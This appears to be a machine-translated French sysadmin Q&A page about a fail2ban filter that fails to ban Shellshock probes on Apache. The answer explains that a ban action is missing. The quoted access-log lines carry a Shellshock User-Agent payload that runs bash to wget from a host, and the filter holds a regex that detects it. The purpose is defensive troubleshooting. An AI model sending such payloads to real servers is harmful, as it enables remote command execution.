Les règles fail2ban n'entrent pas en vigueur

J'ai installé le server web Apache sur une installation stock d'Ubuntu 14.04 et j'essaie d'utiliser fail2ban pour bloquer les requêtes qui searchnt des vulnérabilités.

J'ai mis ce qui suit dans /etc/fail2ban/jail.local :

 [apache-vulnerability-scan] enabled = true port = http,https filter = apache-vulnerability-scan logpath = /var/log/apache*/*access.log maxretry = 1 

La définition de la règle se trouve dans /etc/fail2ban/filter.d/apache-vulnerability-scan.conf :

 [Definition] failregex = ^<HOST> -.*"\(\)\s*\{[^;"]+[^}"]+}\s*;.*$ ignoreregex = 

Pour ceux qui ne connaissent peut-être pas les règles par défaut fail2ban d'Ubuntu, certaines des règles principales sont les suivantes:

 ignoreip = 127.0.0.1/8 bantime = 600 findtime = 600 maxretry = 3 backend = auto usedns = warn protocol = tcp chain = INPUT 

Cependant, je peux faire des requests sans faute2ban interdisant mon IP, même si maxretry est défini sur 1 .

 10.0.2.2 - - [21/Nov/2015:00:11:40 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\"" 10.0.2.2 - - [21/Nov/2015:00:11:40 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\"" 10.0.2.2 - - [21/Nov/2015:00:11:40 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\"" 10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\"" 10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\"" 10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\"" 10.0.2.2 - - [21/Nov/2015:00:11:41 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\"" 10.0.2.2 - - [21/Nov/2015:00:11:42 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\"" 10.0.2.2 - - [21/Nov/2015:00:11:42 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\"" 10.0.2.2 - - [21/Nov/2015:00:11:43 +0530] "GET /cgi-bin/ HTTP/1.1" 500 798 "-" "() { :; }; /bin/bash -c \"cd /tmp; wget http://10.0.2.2/\"" 10.0.2.2 - - [21/Nov/2015:00:11:50 +0530] "GET / HTTP/1.1" 200 11820 "-" "Wget/1.16.3 (msys)" 

L'état du filter semble être correct:

 # fail2ban-client status apache-vulnerability-scan Status for the jail: apache-vulnerability-scan |- filter | |- File list: /var/log/apache2/other_vhosts_access.log /var/log/apache 2/access.log | |- Currently failed: 0 | `- Total failed: 0 `- action |- Currently banned: 0 | `- IP list: `- Total banned: 0 

Comme il semble être la règle elle-même:

 Running tests ============= Use failregex file : /etc/fail2ban/filter.d/apache-vulnerability-scan.conf Use log file : /var/log/apache2/access.log Results ======= Failregex: 10 total |- #) [# of hits] regular expression | 1) [10] ^<HOST> -.*"\(\)\s*\{[^;"]+[^}"]+}\s*;.*$ | 10.0.2.2 Sat Nov 21 00:11:40 2015 | 10.0.2.2 Sat Nov 21 00:11:40 2015 | 10.0.2.2 Sat Nov 21 00:11:40 2015 | 10.0.2.2 Sat Nov 21 00:11:41 2015 | 10.0.2.2 Sat Nov 21 00:11:41 2015 | 10.0.2.2 Sat Nov 21 00:11:41 2015 | 10.0.2.2 Sat Nov 21 00:11:41 2015 | 10.0.2.2 Sat Nov 21 00:11:42 2015 | 10.0.2.2 Sat Nov 21 00:11:42 2015 | 10.0.2.2 Sat Nov 21 00:11:43 2015 `- Ignoreregex: 0 total Date template hits: |- [# of hits] date format | [13] Day/MONTH/Year:Hour:Minute:Second | [0] WEEKDAY MONTH Day Hour:Minute:Second[.subsecond] Year | [0] WEEKDAY MONTH Day Hour:Minute:Second Year | [0] WEEKDAY MONTH Day Hour:Minute:Second | [0] MONTH Day Hour:Minute:Second | [0] Year/Month/Day Hour:Minute:Second | [0] Day/Month/Year Hour:Minute:Second | [0] Day/Month/Year2 Hour:Minute:Second | [0] Month/Day/Year:Hour:Minute:Second | [0] Year-Month-Day Hour:Minute:Second[,subsecond] | [0] Year-Month-Day Hour:Minute:Second | [0] Year.Month.Day Hour:Minute:Second | [0] Day-MONTH-Year Hour:Minute:Second[.Millisecond] | [0] Day-Month-Year Hour:Minute:Second | [0] Month-Day-Year Hour:Minute:Second[.Millisecond] | [0] TAI64N | [0] Epoch | [0] ISO 8601 | [0] Hour:Minute:Second | [0] <Month/Day/Year@Hour:Minute:Second> | [0] YearMonthDay Hour:Minute:Second | [0] Month-Day-Year Hour:Minute:Second `- Lines: 13 lines, 0 ignored, 12 matched, 1 missed |- Missed line(s): | 10.0.2.2 - - [21/Nov/2015:00:11:50 +0530] "GET / HTTP/1.1" 200 11820 "-" "Wget/1.16.3 (msys)" `- 

Pourquoi les règles fail2ban ne sont-elles pas inputs en vigueur? Qu'est-ce que je fais mal ici?

  • Quelle suite de security choisir?
  • "Net Send" dans le server Microsoft 2008 r2
  • Une machine virtuelle (VM) peut-elle "pirater" une autre machine virtuelle fonctionnant sur la même machine physique?
  • Idées d'utilisation d'un ordinateur comme «affichage» pour un usage public
  • Est-ce que iLO est assez sûr pour être accroché à la WAN?
  • Comment activer les cookies SYN sur le server Windows 2008?
  • Conformité PCI DSS sur un server virtualisé exécutant Xen
  • La security de mon server a été violée ... J'ai besoin d'aide - Ubuntu / Linux
  • One Solution collect form web for “Les règles fail2ban n'entrent pas en vigueur”

    Vous manquez d'une action pour les règles utilisées, ce qui signifie que fail2ban ne sait pas quoi faire lorsqu'une règle correspond. Cela vous permet de configurer globalement ou localement pour chaque prison. Les règles d'action sont définies dans /etc/fail2ban/action.d/

    Par exemple, pour une banalisation globale, vous pouvez append ce qui suit dans jail.local :

    banaction = iptables-multiport

    Veuillez vérifier la jail.conf "ACTIONS" de votre file jail.conf pour plus de détails.

    Vous devrez également raccourcir le nom de prison apache-vulnerability-scan car le nom de la string iptables a une limitation de longueur.

    Les astuces du serveur de linux et windows, tels que ubuntu, centos, apache, nginx, debian et des sujets de réseau.